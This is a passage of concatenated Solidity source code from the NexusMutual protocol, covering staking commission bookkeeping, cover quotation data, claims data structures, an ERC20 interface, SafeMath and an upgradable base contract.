uint _stakerIndex
)
public
view
returns (uint amount)
{
amount = stakerStakedContracts[
_stakerAddress][_stakerIndex].unlockedAmount;
}
/**
* @dev pushes the unlocked staked tokens by a staker.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker to distribute commission.
* @param _amount amount to be given as commission.
*/
function pushUnlockedStakedTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].unlockedAmount = stakerStakedContracts[_stakerAddress][
_stakerIndex].unlockedAmount.add(_amount);
}
/**
* @dev pushes the Burned tokens for a staker.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker.
* @param _amount amount to be burned.
*/
function pushBurnedTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].burnedAmount = stakerStakedContracts[_stakerAddress][
_stakerIndex].burnedAmount.add(_amount);
}
/**
* @dev pushes the unLockable tokens for a staker before last burn.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker.
* @param _amount amount to be added to unlockable.
*/
function pushUnlockableBeforeLastBurnTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].unLockableBeforeLastBurn = stakerStakedContracts[_stakerAddress][
_stakerIndex].unLockableBeforeLastBurn.add(_amount);
}
/**
* @dev sets the unLockable tokens for a staker before last burn.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker.
* @param _amount amount to be added to unlockable.
*/
function setUnlockableBeforeLastBurnTokens(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
stakerStakedContracts[_stakerAddress][
_stakerIndex].unLockableBeforeLastBurn = _amount;
}
/**
* @dev pushes the earned commission earned by a staker.
* @param _stakerAddress address of staker.
* @param _stakedContractAddress address of smart contract.
* @param _stakedContractIndex index of the staker to distribute commission.
* @param _commissionAmount amount to be given as commission.
*/
function pushEarnedStakeCommissions(
address _stakerAddress,
address _stakedContractAddress,
uint _stakedContractIndex,
uint _commissionAmount
)
public
onlyInternal
{
stakedContractStakeCommission[_stakedContractAddress][_stakedContractIndex].
commissionEarned = stakedContractStakeCommission[_stakedContractAddress][
_stakedContractIndex].commissionEarned.add(_commissionAmount);
emit Commission(
_stakerAddress,
_stakedContractAddress,
_stakedContractIndex,
_commissionAmount
);
}
/**
* @dev pushes the redeemed commission redeemed by a staker.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker to distribute commission.
* @param _amount amount to be given as commission.
*/
function pushRedeemedStakeCommissions(
address _stakerAddress,
uint _stakerIndex,
uint _amount
)
public
onlyInternal
{
uint stakedContractIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
address stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
stakedContractStakeCommission[stakedContractAddress][stakedContractIndex].
commissionRedeemed = stakedContractStakeCommission[
stakedContractAddress][stakedContractIndex].commissionRedeemed.add(_amount);
}
/**
* @dev Gets stake commission given to an underwriter
* for particular stakedcontract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
*/
function getStakerEarnedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint)
{
return _getStakerEarnedStakeCommission(_stakerAddress, _stakerIndex);
}
/**
* @dev Gets stake commission redeemed by an underwriter
* for particular staked contract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
* @return commissionEarned total amount given to staker.
*/
function getStakerRedeemedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
public
view
returns (uint)
{
return _getStakerRedeemedStakeCommission(_stakerAddress, _stakerIndex);
}
/**
* @dev Gets total stake commission given to an underwriter
* @param _stakerAddress address of staker.
* @return totalCommissionEarned total commission earned by staker.
*/
function getStakerTotalEarnedStakeCommission(
address _stakerAddress
)
public
view
returns (uint totalCommissionEarned)
{
totalCommissionEarned = 0;
for (uint i = 0; i < stakerStakedContracts[_stakerAddress].length; i++) {
totalCommissionEarned = totalCommissionEarned.
add(_getStakerEarnedStakeCommission(_stakerAddress, i));
}
}
/**
* @dev Gets total stake commission given to an underwriter
* @param _stakerAddress address of staker.
* @return totalCommissionEarned total commission earned by staker.
*/
function getStakerTotalReedmedStakeCommission(
address _stakerAddress
)
public
view
returns (uint totalCommissionRedeemed)
{
totalCommissionRedeemed = 0;
for (uint i = 0; i < stakerStakedContracts[_stakerAddress].length; i++) {
totalCommissionRedeemed = totalCommissionRedeemed.add(
_getStakerRedeemedStakeCommission(_stakerAddress, i));
}
}
/**
* @dev set flag to deposit/ undeposit cover note
* against a cover Id
* @param coverId coverId of Cover
* @param flag true/false for deposit/undeposit
*/
function setDepositCN(uint coverId, bool flag) public onlyInternal {
if (flag == true) {
require(!depositedCN[coverId].isDeposited, "Cover note already deposited");
}
depositedCN[coverId].isDeposited = flag;
}
/**
* @dev set locked cover note amount
* against a cover Id
* @param coverId coverId of Cover
* @param amount amount of nxm to be locked
*/
function setDepositCNAmount(uint coverId, uint amount) public onlyInternal {
depositedCN[coverId].amount = amount;
}
/**
* @dev to get the staker address on a staked contract
* @param _stakedContractAddress is the address of the staked contract in concern
* @param _stakedContractIndex is the index of staked contract's index
* @return address of staker
*/
function getStakedContractStakerByIndex(
address _stakedContractAddress,
uint _stakedContractIndex
)
public
view
returns (address stakerAddress)
{
stakerAddress = stakedContractStakers[
_stakedContractAddress][_stakedContractIndex].stakerAddress;
}
/**
* @dev to get the length of stakers on a staked contract
* @param _stakedContractAddress is the address of the staked contract in concern
* @return length in concern
*/
function getStakedContractStakersLength(
address _stakedContractAddress
)
public
view
returns (uint length)
{
length = stakedContractStakers[_stakedContractAddress].length;
}
/**
* @dev Adds a new stake record.
* @param _stakerAddress staker address.
* @param _stakedContractAddress smart contract address.
* @param _amount amountof NXM to be staked.
*/
function addStake(
address _stakerAddress,
address _stakedContractAddress,
uint _amount
)
public
onlyInternal
returns (uint scIndex)
{
scIndex = (stakedContractStakers[_stakedContractAddress].push(
Staker(_stakerAddress, stakerStakedContracts[_stakerAddress].length))).sub(1);
stakerStakedContracts[_stakerAddress].push(
Stake(_stakedContractAddress, scIndex, now, _amount, 0, 0, 0));
}
/**
* @dev books the user's tokens for maintaining Assessor Velocity,
* i.e. once a token is used to cast a vote as a Claims assessor,
* @param _of user's address.
*/
function bookCATokens(address _of) public onlyInternal {
require(!isCATokensBooked(_of), "Tokens already booked");
isBookedTokens[_of] = now.add(bookTime);
}
/**
* @dev to know if claim assessor's tokens are booked or not
* @param _of is the claim assessor's address in concern
* @return boolean representing the status of tokens booked
*/
function isCATokensBooked(address _of) public view returns (bool res) {
if (now < isBookedTokens[_of])
res = true;
}
/**
* @dev Sets the index which will receive commission.
* @param _stakedContractAddress smart contract address.
* @param _index current index.
*/
function setStakedContractCurrentCommissionIndex(
address _stakedContractAddress,
uint _index
)
public
onlyInternal
{
stakedContractCurrentCommissionIndex[_stakedContractAddress] = _index;
}
/**
* @dev Sets the last complete commission index
* @param _stakerAddress smart contract address.
* @param _index current index.
*/
function setLastCompletedStakeCommissionIndex(
address _stakerAddress,
uint _index
)
public
onlyInternal
{
lastCompletedStakeCommission[_stakerAddress] = _index;
}
/**
* @dev Sets the index till which commission is distrubuted.
* @param _stakedContractAddress smart contract address.
* @param _index current index.
*/
function setStakedContractCurrentBurnIndex(
address _stakedContractAddress,
uint _index
)
public
onlyInternal
{
stakedContractCurrentBurnIndex[_stakedContractAddress] = _index;
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "TOKEXP") {
_setTokenExponent(val);
} else if (code == "TOKSTEP") {
_setPriceStep(val);
} else if (code == "RALOCKT") {
_changeSCValidDays(val);
} else if (code == "RACOMM") {
_setStakerCommissionPer(val);
} else if (code == "RAMAXC") {
_setStakerMaxCommissionPer(val);
} else if (code == "CABOOKT") {
_changeBookTime(val * 1 hours);
} else if (code == "CALOCKT") {
_changelockCADays(val * 1 days);
} else if (code == "MVLOCKT") {
_changelockMVDays(val * 1 days);
} else if (code == "QUOLOCKT") {
_setLockTokenTimeAfterCoverExp(val * 1 days);
} else if (code == "JOINFEE") {
_setJoiningFee(val);
} else {
revert("Invalid param code");
}
}
/**
* @dev Internal function to get stake commission given to an
* underwriter for particular stakedcontract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
*/
function _getStakerEarnedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
internal
view
returns (uint amount)
{
uint _stakedContractIndex;
address _stakedContractAddress;
_stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
_stakedContractIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
amount = stakedContractStakeCommission[
_stakedContractAddress][_stakedContractIndex].commissionEarned;
}
/**
* @dev Internal function to get stake commission redeemed by an
* underwriter for particular stakedcontract on given index.
* @param _stakerAddress address of staker.
* @param _stakerIndex index of the staker commission.
*/
function _getStakerRedeemedStakeCommission(
address _stakerAddress,
uint _stakerIndex
)
internal
view
returns (uint amount)
{
uint _stakedContractIndex;
address _stakedContractAddress;
_stakedContractAddress = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractAddress;
_stakedContractIndex = stakerStakedContracts[
_stakerAddress][_stakerIndex].stakedContractIndex;
amount = stakedContractStakeCommission[
_stakedContractAddress][_stakedContractIndex].commissionRedeemed;
}
/**
* @dev to set the percentage of staker commission
* @param _val is new percentage value
*/
function _setStakerCommissionPer(uint _val) internal {
stakerCommissionPer = _val;
}
/**
* @dev to set the max percentage of staker commission
* @param _val is new percentage value
*/
function _setStakerMaxCommissionPer(uint _val) internal {
stakerMaxCommissionPer = _val;
}
/**
* @dev to set the token exponent value
* @param _val is new value
*/
function _setTokenExponent(uint _val) internal {
tokenExponent = _val;
}
/**
* @dev to set the price step
* @param _val is new value
*/
function _setPriceStep(uint _val) internal {
priceStep = _val;
}
/**
* @dev Changes number of days for which NXM needs to staked in case of underwriting
*/
function _changeSCValidDays(uint _days) internal {
scValidDays = _days;
}
/**
* @dev Changes the time period up to which tokens will be locked.
* Used to generate the validity period of tokens booked by
* a user for participating in claim's assessment/claim's voting.
*/
function _changeBookTime(uint _time) internal {
bookTime = _time;
}
/**
* @dev Changes lock CA days - number of days for which tokens
* are locked while submitting a vote.
*/
function _changelockCADays(uint _val) internal {
lockCADays = _val;
}
/**
* @dev Changes lock MV days - number of days for which tokens are locked
* while submitting a vote.
*/
function _changelockMVDays(uint _val) internal {
lockMVDays = _val;
}
/**
* @dev Changes extra lock period for a cover, post its expiry.
*/
function _setLockTokenTimeAfterCoverExp(uint time) internal {
lockTokenTimeAfterCoverExp = time;
}
/**
* @dev Set the joining fee for membership
*/
function _setJoiningFee(uint _amount) internal {
joiningFee = _amount;
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
contract QuotationData is Iupgradable {
using SafeMath for uint;
enum HCIDStatus {NA, kycPending, kycPass, kycFailedOrRefunded, kycPassNoCover}
enum CoverStatus {Active, ClaimAccepted, ClaimDenied, CoverExpired, ClaimSubmitted, Requested}
struct Cover {
address payable memberAddress;
bytes4 currencyCode;
uint sumAssured;
uint16 coverPeriod;
uint validUntil;
address scAddress;
uint premiumNXM;
}
struct HoldCover {
uint holdCoverId;
address payable userAddress;
address scAddress;
bytes4 coverCurr;
uint[] coverDetails;
uint16 coverPeriod;
}
address public authQuoteEngine;
mapping(bytes4 => uint) internal currencyCSA;
mapping(address => uint[]) internal userCover;
mapping(address => uint[]) public userHoldedCover;
mapping(address => bool) public refundEligible;
mapping(address => mapping(bytes4 => uint)) internal currencyCSAOfSCAdd;
mapping(uint => uint8) public coverStatus;
mapping(uint => uint) public holdedCoverIDStatus;
mapping(uint => bool) public timestampRepeated;
Cover[] internal allCovers;
HoldCover[] internal allCoverHolded;
uint public stlp;
uint public stl;
uint public pm;
uint public minDays;
uint public tokensRetained;
address public kycAuthAddress;
event CoverDetailsEvent(
uint indexed cid,
address scAdd,
uint sumAssured,
uint expiry,
uint premium,
uint premiumNXM,
bytes4 curr
);
event CoverStatusEvent(uint indexed cid, uint8 statusNum);
constructor(address _authQuoteAdd, address _kycAuthAdd) public {
authQuoteEngine = _authQuoteAdd;
kycAuthAddress = _kycAuthAdd;
stlp = 90;
stl = 100;
pm = 30;
minDays = 30;
tokensRetained = 10;
allCovers.push(Cover(address(0), "0x00", 0, 0, 0, address(0), 0));
uint[] memory arr = new uint[](1);
allCoverHolded.push(HoldCover(0, address(0), address(0), 0x00, arr, 0));
}
/// @dev Adds the amount in Total Sum Assured of a given currency of a given smart contract address.
/// @param _add Smart Contract Address.
/// @param _amount Amount to be added.
function addInTotalSumAssuredSC(address _add, bytes4 _curr, uint _amount) external onlyInternal {
currencyCSAOfSCAdd[_add][_curr] = currencyCSAOfSCAdd[_add][_curr].add(_amount);
}
/// @dev Subtracts the amount from Total Sum Assured of a given currency and smart contract address.
/// @param _add Smart Contract Address.
/// @param _amount Amount to be subtracted.
function subFromTotalSumAssuredSC(address _add, bytes4 _curr, uint _amount) external onlyInternal {
currencyCSAOfSCAdd[_add][_curr] = currencyCSAOfSCAdd[_add][_curr].sub(_amount);
}
/// @dev Subtracts the amount from Total Sum Assured of a given currency.
/// @param _curr Currency Name.
/// @param _amount Amount to be subtracted.
function subFromTotalSumAssured(bytes4 _curr, uint _amount) external onlyInternal {
currencyCSA[_curr] = currencyCSA[_curr].sub(_amount);
}
/// @dev Adds the amount in Total Sum Assured of a given currency.
/// @param _curr Currency Name.
/// @param _amount Amount to be added.
function addInTotalSumAssured(bytes4 _curr, uint _amount) external onlyInternal {
currencyCSA[_curr] = currencyCSA[_curr].add(_amount);
}
/// @dev sets bit for timestamp to avoid replay attacks.
function setTimestampRepeated(uint _timestamp) external onlyInternal {
timestampRepeated[_timestamp] = true;
}
/// @dev Creates a blank new cover.
function addCover(
uint16 _coverPeriod,
uint _sumAssured,
address payable _userAddress,
bytes4 _currencyCode,
address _scAddress,
uint premium,
uint premiumNXM
)
external
onlyInternal
{
uint expiryDate = now.add(uint(_coverPeriod).mul(1 days));
allCovers.push(Cover(_userAddress, _currencyCode,
_sumAssured, _coverPeriod, expiryDate, _scAddress, premiumNXM));
uint cid = allCovers.length.sub(1);
userCover[_userAddress].push(cid);
emit CoverDetailsEvent(cid, _scAddress, _sumAssured, expiryDate, premium, premiumNXM, _currencyCode);
}
/// @dev create holded cover which will process after verdict of KYC.
function addHoldCover(
address payable from,
address scAddress,
bytes4 coverCurr,
uint[] calldata coverDetails,
uint16 coverPeriod
)
external
onlyInternal
{
uint holdedCoverLen = allCoverHolded.length;
holdedCoverIDStatus[holdedCoverLen] = uint(HCIDStatus.kycPending);
allCoverHolded.push(HoldCover(holdedCoverLen, from, scAddress,
coverCurr, coverDetails, coverPeriod));
userHoldedCover[from].push(allCoverHolded.length.sub(1));
}
///@dev sets refund eligible bit.
///@param _add user address.
///@param status indicates if user have pending kyc.
function setRefundEligible(address _add, bool status) external onlyInternal {
refundEligible[_add] = status;
}
/// @dev to set current status of particular holded coverID (1 for not completed KYC,
/// 2 for KYC passed, 3 for failed KYC or full refunded,
/// 4 for KYC completed but cover not processed)
function setHoldedCoverIDStatus(uint holdedCoverID, uint status) external onlyInternal {
holdedCoverIDStatus[holdedCoverID] = status;
}
/**
* @dev to set address of kyc authentication
* @param _add is the new address
*/
function setKycAuthAddress(address _add) external onlyInternal {
kycAuthAddress = _add;
}
/// @dev Changes authorised address for generating quote off chain.
function changeAuthQuoteEngine(address _add) external onlyInternal {
authQuoteEngine = _add;
}
/**
* @dev Gets Uint Parameters of a code
* @param code whose details we want
* @return string value of the code
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "STLP") {
val = stlp;
} else if (code == "STL") {
val = stl;
} else if (code == "PM") {
val = pm;
} else if (code == "QUOMIND") {
val = minDays;
} else if (code == "QUOTOK") {
val = tokensRetained;
}
}
/// @dev Gets Product details.
/// @return _minDays minimum cover period.
/// @return _PM Profit margin.
/// @return _STL short term Load.
/// @return _STLP short term load period.
function getProductDetails()
external
view
returns (
uint _minDays,
uint _pm,
uint _stl,
uint _stlp
)
{
_minDays = minDays;
_pm = pm;
_stl = stl;
_stlp = stlp;
}
/// @dev Gets total number covers created till date.
function getCoverLength() external view returns (uint len) {
return (allCovers.length);
}
/// @dev Gets Authorised Engine address.
function getAuthQuoteEngine() external view returns (address _add) {
_add = authQuoteEngine;
}
/// @dev Gets the Total Sum Assured amount of a given currency.
function getTotalSumAssured(bytes4 _curr) external view returns (uint amount) {
amount = currencyCSA[_curr];
}
/// @dev Gets all the Cover ids generated by a given address.
/// @param _add User's address.
/// @return allCover array of covers.
function getAllCoversOfUser(address _add) external view returns (uint[] memory allCover) {
return (userCover[_add]);
}
/// @dev Gets total number of covers generated by a given address
function getUserCoverLength(address _add) external view returns (uint len) {
len = userCover[_add].length;
}
/// @dev Gets the status of a given cover.
function getCoverStatusNo(uint _cid) external view returns (uint8) {
return coverStatus[_cid];
}
/// @dev Gets the Cover Period (in days) of a given cover.
function getCoverPeriod(uint _cid) external view returns (uint32 cp) {
cp = allCovers[_cid].coverPeriod;
}
/// @dev Gets the Sum Assured Amount of a given cover.
function getCoverSumAssured(uint _cid) external view returns (uint sa) {
sa = allCovers[_cid].sumAssured;
}
/// @dev Gets the Currency Name in which a given cover is assured.
function getCurrencyOfCover(uint _cid) external view returns (bytes4 curr) {
curr = allCovers[_cid].currencyCode;
}
/// @dev Gets the validity date (timestamp) of a given cover.
function getValidityOfCover(uint _cid) external view returns (uint date) {
date = allCovers[_cid].validUntil;
}
/// @dev Gets Smart contract address of cover.
function getscAddressOfCover(uint _cid) external view returns (uint, address) {
return (_cid, allCovers[_cid].scAddress);
}
/// @dev Gets the owner address of a given cover.
function getCoverMemberAddress(uint _cid) external view returns (address payable _add) {
_add = allCovers[_cid].memberAddress;
}
/// @dev Gets the premium amount of a given cover in NXM.
function getCoverPremiumNXM(uint _cid) external view returns (uint _premiumNXM) {
_premiumNXM = allCovers[_cid].premiumNXM;
}
/// @dev Provides the details of a cover Id
/// @param _cid cover Id
/// @return memberAddress cover user address.
/// @return scAddress smart contract Address
/// @return currencyCode currency of cover
/// @return sumAssured sum assured of cover
/// @return premiumNXM premium in NXM
function getCoverDetailsByCoverID1(
uint _cid
)
external
view
returns (
uint cid,
address _memberAddress,
address _scAddress,
bytes4 _currencyCode,
uint _sumAssured,
uint premiumNXM
)
{
return (
_cid,
allCovers[_cid].memberAddress,
allCovers[_cid].scAddress,
allCovers[_cid].currencyCode,
allCovers[_cid].sumAssured,
allCovers[_cid].premiumNXM
);
}
/// @dev Provides details of a cover Id
/// @param _cid cover Id
/// @return status status of cover.
/// @return sumAssured Sum assurance of cover.
/// @return coverPeriod Cover Period of cover (in days).
/// @return validUntil is validity of cover.
function getCoverDetailsByCoverID2(
uint _cid
)
external
view
returns (
uint cid,
uint8 status,
uint sumAssured,
uint16 coverPeriod,
uint validUntil
)
{
return (
_cid,
coverStatus[_cid],
allCovers[_cid].sumAssured,
allCovers[_cid].coverPeriod,
allCovers[_cid].validUntil
);
}
/// @dev Provides details of a holded cover Id
/// @param _hcid holded cover Id
/// @return scAddress SmartCover address of cover.
/// @return coverCurr currency of cover.
/// @return coverPeriod Cover Period of cover (in days).
function getHoldedCoverDetailsByID1(
uint _hcid
)
external
view
returns (
uint hcid,
address scAddress,
bytes4 coverCurr,
uint16 coverPeriod
)
{
return (
_hcid,
allCoverHolded[_hcid].scAddress,
allCoverHolded[_hcid].coverCurr,
allCoverHolded[_hcid].coverPeriod
);
}
/// @dev Gets total number holded covers created till date.
function getUserHoldedCoverLength(address _add) external view returns (uint) {
return userHoldedCover[_add].length;
}
/// @dev Gets holded cover index by index of user holded covers.
function getUserHoldedCoverByIndex(address _add, uint index) external view returns (uint) {
return userHoldedCover[_add][index];
}
/// @dev Provides the details of a holded cover Id
/// @param _hcid holded cover Id
/// @return memberAddress holded cover user address.
/// @return coverDetails array contains SA, Cover Currency Price,Price in NXM, Expiration time of Qoute.
function getHoldedCoverDetailsByID2(
uint _hcid
)
external
view
returns (
uint hcid,
address payable memberAddress,
uint[] memory coverDetails
)
{
return (
_hcid,
allCoverHolded[_hcid].userAddress,
allCoverHolded[_hcid].coverDetails
);
}
/// @dev Gets the Total Sum Assured amount of a given currency and smart contract address.
function getTotalSumAssuredSC(address _add, bytes4 _curr) external view returns (uint amount) {
amount = currencyCSAOfSCAdd[_add][_curr];
}
//solhint-disable-next-line
function changeDependentContractAddress() public {}
/// @dev Changes the status of a given cover.
/// @param _cid cover Id.
/// @param _stat New status.
function changeCoverStatusNo(uint _cid, uint8 _stat) public onlyInternal {
coverStatus[_cid] = _stat;
emit CoverStatusEvent(_cid, _stat);
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "STLP") {
_changeSTLP(val);
} else if (code == "STL") {
_changeSTL(val);
} else if (code == "PM") {
_changePM(val);
} else if (code == "QUOMIND") {
_changeMinDays(val);
} else if (code == "QUOTOK") {
_setTokensRetained(val);
} else {
revert("Invalid param code");
}
}
/// @dev Changes the existing Profit Margin value
function _changePM(uint _pm) internal {
pm = _pm;
}
/// @dev Changes the existing Short Term Load Period (STLP) value.
function _changeSTLP(uint _stlp) internal {
stlp = _stlp;
}
/// @dev Changes the existing Short Term Load (STL) value.
function _changeSTL(uint _stl) internal {
stl = _stl;
}
/// @dev Changes the existing Minimum cover period (in days)
function _changeMinDays(uint _days) internal {
minDays = _days;
}
/**
* @dev to set the the amount of tokens retained
* @param val is the amount retained
*/
function _setTokensRetained(uint val) internal {
tokensRetained = val;
}
}
pragma solidity ^0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface OZIERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library OZSafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
import "./INXMMaster.sol";
contract Iupgradable {
INXMMaster public ms;
address public nxMasterAddress;
modifier onlyInternal {
require(ms.isInternal(msg.sender));
_;
}
modifier isMemberAndcheckPause {
require(ms.isPause() == false && ms.isMember(msg.sender) == true);
_;
}
modifier onlyOwner {
require(ms.isOwner(msg.sender));
_;
}
modifier checkPause {
require(ms.isPause() == false);
_;
}
modifier isMember {
require(ms.isMember(msg.sender), "Not member");
_;
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public;
/**
* @dev change master address
* @param _masterAddress is the new address
*/
function changeMasterAddress(address _masterAddress) public {
if (address(ms) != address(0)) {
require(address(ms) == msg.sender, "Not master");
}
ms = INXMMaster(_masterAddress);
nxMasterAddress = _masterAddress;
}
}
pragma solidity ^0.5.0;
interface IPooledStaking {
function accumulateReward(address contractAddress, uint amount) external;
function pushBurn(address contractAddress, uint amount) external;
function hasPendingActions() external view returns (bool);
function processPendingActions(uint maxIterations) external returns (bool finished);
function contractStake(address contractAddress) external view returns (uint);
function stakerReward(address staker) external view returns (uint);
function stakerDeposit(address staker) external view returns (uint);
function stakerContractStake(address staker, address contractAddress) external view returns (uint);
function withdraw(uint amount) external;
function stakerMaxWithdrawable(address stakerAddress) external view returns (uint);
function withdrawReward(address stakerAddress) external;
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
contract ClaimsData is Iupgradable {
using SafeMath for uint;
struct Claim {
uint coverId;
uint dateUpd;
}
struct Vote {
address voter;
uint tokens;
uint claimId;
int8 verdict;
bool rewardClaimed;
}
struct ClaimsPause {
uint coverid;
uint dateUpd;
bool submit;
}
struct ClaimPauseVoting {
uint claimid;
uint pendingTime;
bool voting;
}
struct RewardDistributed {
uint lastCAvoteIndex;
uint lastMVvoteIndex;
}
struct ClaimRewardDetails {
uint percCA;
uint percMV;
uint tokenToBeDist;
}
struct ClaimTotalTokens {
uint accept;
uint deny;
}
struct ClaimRewardStatus {
uint percCA;
uint percMV;
}
ClaimRewardStatus[] internal rewardStatus;
Claim[] internal allClaims;
Vote[] internal allvotes;
ClaimsPause[] internal claimPause;
ClaimPauseVoting[] internal claimPauseVotingEP;
mapping(address => RewardDistributed) internal voterVoteRewardReceived;
mapping(uint => ClaimRewardDetails) internal claimRewardDetail;
mapping(uint => ClaimTotalTokens) internal claimTokensCA;
mapping(uint => ClaimTotalTokens) internal claimTokensMV;
mapping(uint => int8) internal claimVote;
mapping(uint => uint) internal claimsStatus;
mapping(uint => uint) internal claimState12Count;
mapping(uint => uint[]) internal claimVoteCA;
mapping(uint => uint[]) internal claimVoteMember;
mapping(address => uint[]) internal voteAddressCA;
mapping(address => uint[]) internal voteAddressMember;
mapping(address => uint[]) internal allClaimsByAddress;
mapping(address => mapping(uint => uint)) internal userClaimVoteCA;
mapping(address => mapping(uint => uint)) internal userClaimVoteMember;
mapping(address => uint) public userClaimVotePausedOn;
uint internal claimPauseLastsubmit;
uint internal claimStartVotingFirstIndex;
uint public pendingClaimStart;
uint public claimDepositTime;
uint public maxVotingTime;
uint public minVotingTime;
uint public payoutRetryTime;
uint public claimRewardPerc;
uint public minVoteThreshold;
uint public maxVoteThreshold;
uint public majorityConsensus;
uint public pauseDaysCA;
event ClaimRaise(
uint indexed coverId,
address indexed userAddress,
uint claimId,
uint dateSubmit
);
event VoteCast(
address indexed userAddress,
uint indexed claimId,
bytes4 indexed typeOf,
uint tokens,
uint submitDate,
int8 verdict
);
constructor() public {
pendingClaimStart = 1;
maxVotingTime = 48 * 1 hours;
minVotingTime = 12 * 1 hours;
payoutRetryTime = 24 * 1 hours;
allvotes.push(Vote(address(0), 0, 0, 0, false));
allClaims.push(Claim(0, 0));
claimDepositTime = 7 days;
claimRewardPerc = 20;
minVoteThreshold = 5;
maxVoteThreshold = 10;
majorityConsensus = 70;
pauseDaysCA = 3 days;
_addRewardIncentive();
}
/**
* @dev Updates the pending claim start variable,
* the lowest claim id with a pending decision/payout.
*/
function setpendingClaimStart(uint _start) external onlyInternal {
require(pendingClaimStart <= _start);
pendingClaimStart = _start;
}
/**
* @dev Updates the max vote index for which claim assessor has received reward
* @param _voter address of the voter.
* @param caIndex last index till which reward was distributed for CA
*/
function setRewardDistributedIndexCA(address _voter, uint caIndex) external onlyInternal {
voterVoteRewardReceived[_voter].lastCAvoteIndex = caIndex;
}
/**
* @dev Used to pause claim assessor activity for 3 days
* @param user Member address whose claim voting ability needs to be paused
*/
function setUserClaimVotePausedOn(address user) external {
require(ms.checkIsAuthToGoverned(msg.sender));
userClaimVotePausedOn[user] = now;
}
/**
* @dev Updates the max vote index for which member has received reward
* @param _voter address of the voter.
* @param mvIndex last index till which reward was distributed for member
*/
